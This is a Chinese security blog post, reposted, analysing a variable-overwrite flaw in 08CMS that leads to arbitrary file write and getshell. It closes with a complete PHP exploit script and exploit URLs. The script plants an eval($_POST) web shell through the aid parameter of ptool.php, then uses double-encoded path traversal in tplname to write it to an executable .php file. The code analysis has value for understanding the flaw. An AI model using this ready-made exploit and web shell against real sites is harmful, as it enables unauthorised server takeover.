08CMS 变量覆盖导致getshell 等问题

没穿底裤 2019年12月31日23:46:19评论335 views字数 1804阅读6分0秒阅读模式
摘要

我也是初学php 文章有什么不对的 还望各位指出错误 见谅 。。。
=================================================================
/Include/general.inc.php 21-26行
[php]
(isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) && exit('08cms Error');
if(!QUOTES_GPC && $_FILES) $_FILES = maddslashes($_FILES);
foreach(array('_GET','_POST') as $_request){
foreach($$_request as $k => $v){
$k{0} != '_' && $$k = maddslashes($v);
}
}
[/php]
这样写虽然很方便但是变量没初始化的时候我们就可以提交了

我也是初学php 文章有什么不对的 还望各位指出错误 见谅 。。。
=================================================================
/Include/general.inc.php 21-26行
[php]
(isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) && exit('08cms Error');
if(!QUOTES_GPC && $_FILES) $_FILES = maddslashes($_FILES);
foreach(array('_GET','_POST') as $_request){
foreach($$_request as $k => $v){
$k{0} != '_' && $$k = maddslashes($v);
}
}
[/php]
这样写虽然很方便但是变量没初始化的时候我们就可以提交了

我们看看 Index.php 文件
[php]include_once dirname(__FILE__).'/include/general.inc.php';
include_once M_ROOT.'./include/common.fun.php';
if_siteclosed();
mobile_open() || message('手机版尚未开放');
parse_str(un_virtual($_SERVER['QUERY_STRING']),$temparr);
/*[/php]
我们看看这句代码
$_SERVER['QUERY_STRING']就是获取查询字符串的。。比如说xx.php?id=222 他就获取了id=222
un_virtual这个函数是过滤获取查询字符串的我们看看是咋写的
[php]function un_virtual($str){
......
$str = str_replace(array('/','-'),array('&','='),$str); 把 / 和 - 替换成 & 和 =
......
return $str;
}
[/php]
parse_str()这个是把查询字符串解析到变量中 用于存储的变量是$temparr这个

我们接着看下面的吧
[php]
$_da = array();
if(!$cnstr){
$tplname = $_ismobile ? $o_index_tpl : $hometpl ; //$tplname这个在这里定义的了
$_da['rss'] = $cms_abs.'rss.php';

$_da += $temparr; // $_da= $_da+$temparr
unset($temparr);//销毁变量

extract($_da,EXTR_OVERWRITE); //变量覆盖 这样我们可以控制了$tplname这个变量
tpl_refresh($tplname); //这个tpl_refresh函数就是我们要利用的地方 看看咋写的

*/
[/php]

/include/refresh.fun.php 2行
[php]function tpl_refresh($tplname){
global $templatedir,$debugtag;
$tdir = M_ROOT."template/$templatedir/";
$cacf = $tdir.'pcache/'.$tplname.'.php'; // 我们是可以控制这些变量的
if(file_exists($x = $tdir."function/utags.fun.php")) include_once $x;//利用在下面当然这里也能利用 截断下
mmkdir($cacf,0,1);
if($debugtag || !file_exists($cacf)){ //轻松进入流程
$str = load_tpl($tplname); //看这个函数的名字应该是打开文件 返回内容

/* load_tp: include/refresh.fun.php 1137行
$tpl = @file2str(M_ROOT."template/$templatedir/".$tplname); //file2str这个是打开文件的函数 我就不贴上来了

$rt && $tpl = preg_replace("//{tpl//$(.+?)/}/ies", "rtagval('//1','$rt')",$tpl); 过滤无压力* /

$str = preg_replace("/ $str = preg_replace("///s", "{//1}", $str);
breplace($str,'');
nreplace($str);
quit_refresh_var();

$str = tpl_basecode($str);
//以上代码都是过滤
str2file($str,$cacf);//这个是写文件 函数就不贴了
}
unset($str,$tdir,$cacf);
}
[php]
有了这些我们就可以 写文件了 不过还有些限制
[php] $cacf = $tdir.'pcache/'.$tplname.'.php';
$str = load_tpl($tplname);
$tpl = @file2str(M_ROOT."template/$templatedir/".$tplname);
[/php]
$tplname都是我们控制的 我们可以上传个图片来生成文件 还可以找找有木有其他生成的地方

/tools/ptool.php
[php] $cf = M_ROOT.'./dynamic/stats/aclicks.cac';
$ct = M_ROOT.'./dynamic/stats/aclicks_time.cac';
/* 省略 */
if(@$fp = fopen($cf,'a')){
fwrite($fp,"$aid/n");
fclose($fp);[/php]

aid没有是初始化我们可以提交

8 aid没有是初始化我们可以提交

好了 现在可以提交了 写文件了 但是还有个限制就是不能跳出目录 因为一开始有过滤的(开头的代码)

parse_str(un_virtual($_SERVER['QUERY_STRING']),$temparr);
不过由于parse_str 这个函数 会自动url解码 所以我们加一次url编码就可以绕过un_virtual的过滤了~

这个cms还是有很多问题的。。

利用写了个exp 新手可能有错误 大家见谅:
[php] /*
汽车CMS4.1 GBK版 :
exp index.php?tplname=..%252f..%252fdynamic%252fstats%252faclicks.cac
shell /dynamic/tplcache/common/....dynamicstatsaclicks.cac.php
装修 CMS :
shell: /dynamic/dynamic/stats/aclicks.cac.php
*/
$exp = '/tools/ptool.php?aid=%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E';
$exp1 = '/index.php?tplname=..%2f..%2fdynamic%2fstats%2faclicks.cac';

if ($argc < 2 ) {

print_r('
+---------------------------------------------------------------------------+
)_|
_/ |_ _ _
______/□□ /_∩- // //
/ 20 /_________/_//>_//>_
/________________________|

[+] php '.$argv[0].'


+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(E_ERROR);
set_time_limit(0);

$host = $argv[1];
go($host);

function go ($host)
{
global $exp,$exp1;
$re = Send ($host,$exp);

stripos($re,"MySQL")>0
?
Send ($host,$exp)
:
"";

$re = Send ($host,$exp1) and stripos($re,"aclicks.cac")>0
?
exit(" + Exploit Success!/r/n + http://$host/template/dynamic/stats/aclicks.cac.php/r/n")
:
exit(" - Exploit Failed!/n");
}

function Send($host,$url)
{
$data = "GET $url HTTP/1.1/r/n";
$data .= "Host: $host/r/n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03

/r/n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/r/n";
$data .= "Content-Type: application/x-www-form-urlencoded/r/n";
$data .= "Accept-Language: en-us/r/n";
$data .= "Connection: Close/r/n/r/n";
$fp = @fsockopen($host, 80);
if (!$fp) {
die("[-] Connect to host Error/r/n");
}
fwrite($fp, $data);
$back = '';
while (!feof($fp)) {
$back .= fread($fp, 1024);
}
fclose($fp);
return $back;
}
?> [/php]
应该是通杀的吧

有的版本需要转2此url码
因为有的开始就解码了

汽车CMS4.1 GBK版 :
exp index.php?tplname=..%252f..%252fdynamic%252fstats%252faclicks.cac
shell /dynamic/tplcache/common/….dynamicstatsaclicks.cac.php
装修 CMS :
shell: /dynamic/dynamic/stats/aclicks.cac.php

附上个HTML上传的代码
[php]


[/php]

(因为08cms版本很多 文章版本是 汽车4.3 UTF-8版的)

=======================================
来源:90‘s blog 作者:honker90

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2019年12月31日23:46:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   08CMS 变量覆盖导致getshell 等问题https://cn-sec.com/archives/75235.html

发表评论

匿名网友 填写信息